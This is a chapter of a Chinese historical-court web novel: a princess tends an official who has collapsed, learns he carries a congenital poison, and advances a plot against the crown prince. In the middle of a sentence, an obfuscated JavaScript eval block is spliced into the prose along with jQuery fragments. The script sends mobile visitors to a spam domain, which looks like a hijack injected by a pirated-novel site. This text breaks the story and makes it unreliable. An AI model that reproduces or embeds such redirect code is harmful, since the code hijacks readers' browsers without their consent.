入夜，姜宁独坐书案前，目光直直地落于宣纸之上，其上错综复杂的线条，细细勾勒着太子姜齐的关联脉络。


    她的左手指节无意识地轻叩案面，右手执笔，时而圈点。


    烛火在微风中摇曳，映得纸面忽暗忽明。


    惜桃轻推房门，一股寒气趁隙而入，抬眼方见窗扉正敞开。


    她将捧着的牛乳茶轻置于书案一角，行至窗前，一面合窗，一面柔声问道：“殿下，已近亥时，想来沈大人今夜不会来了。不若将后门落锁？”


    姜宁未抬首，淡声道：“嗯，便依你所言吧。”


    “诺。”惜桃福身，领命欲退。


    恰在此时，屋外传来苏七的声音：“殿下，都察院那便派人前来传话。”


    “知道了。”姜宁应道，将墨笔轻搁于青玉笔山，起身向外行去。惜桃则快一步上前，为她拉开房门。


    门扉开启间，寒风卷着雪花，纷纷扬扬地扑面而来。


    “那人说了什么？”姜宁语气平静，眉梢微挑。


    “回殿下，”苏七禀道，“都察院来人称，沈大人于衙署门前骤然晕厥。现下已送回沈府，尚未苏醒，今夜恐难前来。”


    姜宁不禁蹙眉，似自语，似询问道：“好端端的，怎会忽然晕厥？”


    苏七略作迟疑，续道：“来人称，沈大人是听闻齐阁老在狱中自裁后，登车时忽而栽倒，便不省人事。”


    闻此言，姜宁不禁一怔。半晌，低声叹道：“齐任东……倒也算有几分风骨。”语气中，暗含着一丝微淡的欣赏。


    她随即吩咐：“苏七，你持我的公主令牌，速往太医院，务必请当值太医即刻赴沈府诊视。”又转向惜桃，“惜桃，你去唤苏九备车，我们现下便去沈府。”


    “是！”苏七领命，疾步离去。


    惜桃则面显忧色：“殿下，夜已深沉，此时前往探视，恐惹流言蜚语。纵使您再关切沈大人，有太医前往应是无碍，我们不若明日再去？”


    姜宁唇角微弯，轻轻摇头：“惜桃，我如今正是要京中人人皆知，我姜宁与沈之衡牵扯甚深，瓜葛难清。”


    “殿下，这是为何？”惜桃仍是不解。


    姜宁未再多言，目光投向沉沉夜色，只平静道：“日后你自会明白。”


    次日，经姜宁暗中推波助澜，她前夜为沈之衡急请太医、亲自彻夜照料之事，迅即在京中传开。不仅市井巷议纷纷，更直达朝堂后宫，乃至东宫府邸。


    结合近日局势——陛下欲召三皇子回京、汪家掌控的兵部多人落马、沈御史与承嘉公主关系匪浅，市井说书人已迫不及待开讲：东宫之位，恐生变数。


    姜宁立于沈府门前，苏九则隔门槛，将坊间传闻一一道来。


    待苏九言毕，她微微颔首，露了笑意：“甚好，此事办得妥当。”


    “谢殿下夸赞！皆是殿下教导有方！都是……”苏九抱拳，喜形于色，正要滔滔不绝。


    姜宁见这架势，忙抬手打断：“好了，打住，莫要灌迷汤了。”


    “嘿嘿。”苏九挠头憨笑。得殿下夸赞，于他实属不易。


    “惜桃刚自天香楼带了晚膳回来，可要一同用些？”姜宁问道。


    “好啊！”苏九脱口应道，左脚刚欲迈过门槛，猛地一个激灵，又缩了回来，悻悻道：“属下……还是不了。沈大人府上那黄犬，实在凶悍得紧。昨夜陪殿下前来，属下险些又遭它扑咬，亏得属下早有防备！”


    “噗哧，”姜宁忍俊不禁，想起昨夜情景，不再勉强，“那你自去用膳吧。也可回公主府歇息。”


    顿了顿，她又道：“明日起，我便长居宫中，你不便于随行，就不同我进宫了。这些时日，权当作给你放假吧。”


    “得令！”苏九喜笑颜开，转身欲走。


    “且慢！”姜宁又唤住他。


    苏九回身，恭谨问：“殿下还有何吩咐？”


    “你也莫忘了替我盯着东宫动向。”


    “属下明白！殿下放心就是！”


    姜宁颔首：“嗯，去吧。”


    言罢，姜宁转身步入庭院。未行几步，便见洛松叼着一块牛胫骨奔来。


    它绕着姜宁转了两圈，将骨头置于覆着薄雪的地砖上，用爪子推向姜宁，似要分享。


    姜宁见状，不禁莞尔，蹲下身轻抚洛松头顶：“多谢小洛松的好意。”


    “汪！汪！”洛松欢快吠叫，尾巴摇动，绕着她转圈。


    姜宁被它逗得笑意更深，陪它嬉戏片刻。


    许久，她方起身欲回屋内。一转身，便撞上沈之衡的目光。


    那人静立廊下，正温柔地望着她，唇角含着一抹浅淡笑意，手中捧着她的狐裘大氅。


    姜宁嫣然一笑，轻声问：“几时醒的？”


    “方才。”沈之衡语声温和，暖意盎然。


    洛松吠叫着奔向他。而他，略作安抚后，向姜宁走来。


    他将大氅轻轻披于姜宁肩上，细致系好，声线柔和：“看来洛松很是喜爱殿下。”


    “我知晓。”姜宁回望他。


    沈之衡笑意更深，眼底情意流转，温声道：“微臣……亦心慕殿下。”


    姜宁抬手，指尖轻触他眉梢，“嗯……我知道。”


    “嗯。”沈之衡颔首，牵起她的指尖，引她向屋内行去。


    行出几步，姜宁忽而驻足，开口道：“沈之衡。”


    “嗯？”他轻声回应。


    姜宁望着他眼眸，字句清晰：“你可知自己身中奇毒？”


    沈之衡微怔，“知晓。”


    “何时中的？乃是何毒？”姜宁追问，语气难掩那一缕急切。


    “约是胎中带来的，”沈之衡声调平稳，“但究竟是何种毒物，如何解法，微臣……尚未勘破。”


    他对她，毫无保留。凡她所问，必坦诚相告。


    姜宁蹙眉：“若是胎中带来，那莫夫人她……”


    沈之衡颔首，并未否认：“家母亦是因此毒，又逢变故，未能熬过。”语声逐渐低沉下去。


    姜宁指尖微颤，于脑海中疾速搜寻可能毒物。然毒物千万，母传子者亦不下百种，更不用说可能还有她未知之毒物。一时之间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392680|180369||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，她亦是难有头绪。


    静默良久，姜宁轻叹：“你可知，此毒近日在你体内加剧了？”


    “殿下是如何察觉微臣中毒？”此毒脉象隐微，难探究竟。即便是他年初落水，刘太医诊脉亦未察觉。


    姜宁凝视他：“去岁南郊风雪初遇，为探你伤势，我曾为你诊脉。彼时已有疑虑，然那时毒性轻微，不足致命，我亦不能肯定。昨夜张太医一搭脉便大惊失色，直言你中毒已久，恐损心脉。”


    “待众人散去，我复为你细诊，方觉毒性竟又深了几分。”


    沈之衡垂首，唇角维持淡笑：“前些时日听闻长安百姓提及，殿下曾在长安为民看诊。不想殿下于医道，竟钻研如此之深。”


    “这是重点么？”姜宁语气加重。


    沈之衡温声宽慰：“殿下不必忧心。微臣与此毒相伴二十四载，熟知其性。此毒平日隐伏，与心绪关联甚密，畏寒。昨夜应是微臣骤闻老师噩耗，悲恸交集，又逢寒风侵体，方才晕厥。”


    顿了顿，他目光灼灼，又道：“而今有殿下在侧，此毒更不足为虑了。”


    姜宁眼睫轻颤：“若他日，我变了心，或要离去呢？”


    她知他是宽慰之言，但她从不信仅凭“相伴”便可化解万难。更何况，世事无常。


    沈之衡似已释然：“若殿下他日易心，便更无须以微臣为念了。”


    ？


    姜宁几欲气笑，嗔道：“若沈大人当真如此豁达，当初在凌山又何必表露心迹？不若任由此情随岁月淡去，岂不更好？”


    沈之衡低眉轻笑：“非是微臣豁达，乃是微臣深知殿下心性通透。故而才斗胆，为自己争此一线机缘。若他日微臣果真先殿下而去，亦信殿下能安度余生。”


    “呵。”姜宁轻哼，不欲再就此纠缠。


    话锋一转，她道：“明日起，我便要久居宫中，亲自侍奉父皇汤药起居。日后沈大人若欲寻我，唯有宫中相见了。”


    “微臣明白。”


    言谈间，苏七忽疾步迈过门槛，见二人立于庭中谈话，忙躬身抱拳：“殿下，沈大人。”


    沈之衡颔首，目光转向姜宁，温言道：“那微臣先行回避？”


    “好。”


    待沈之衡领着洛松远去，苏七自怀中取出一方密信呈上：“殿下，红叶传来的书信。”


    “哦？可是昆仑有消息了？”她难掩忐忑，迅速启封展信，一目十行。


    阅毕，她不禁冷笑：“这汪家，果真未让我失望。”


    她将信笺折好收于袖中，正色道：“苏七，劳烦你亲赴昆仑，借凤明堂商路，于年前将那位矿监御史密送回京。至于银矿那边，切勿打草惊蛇。”


    “是！属下明白！”


    苏七抬头，面有忧色：“但殿下安危……”


    姜宁宽慰他道：“无妨，宫禁之内，无人敢伤我分毫。你此行务求隐秘便是。”


    “是！”苏七抱拳，果决转身离去。


    望着苏七远去的背影，姜宁唇角渐渐扬起笑意。


    此局布下近一年，终是可以收网了。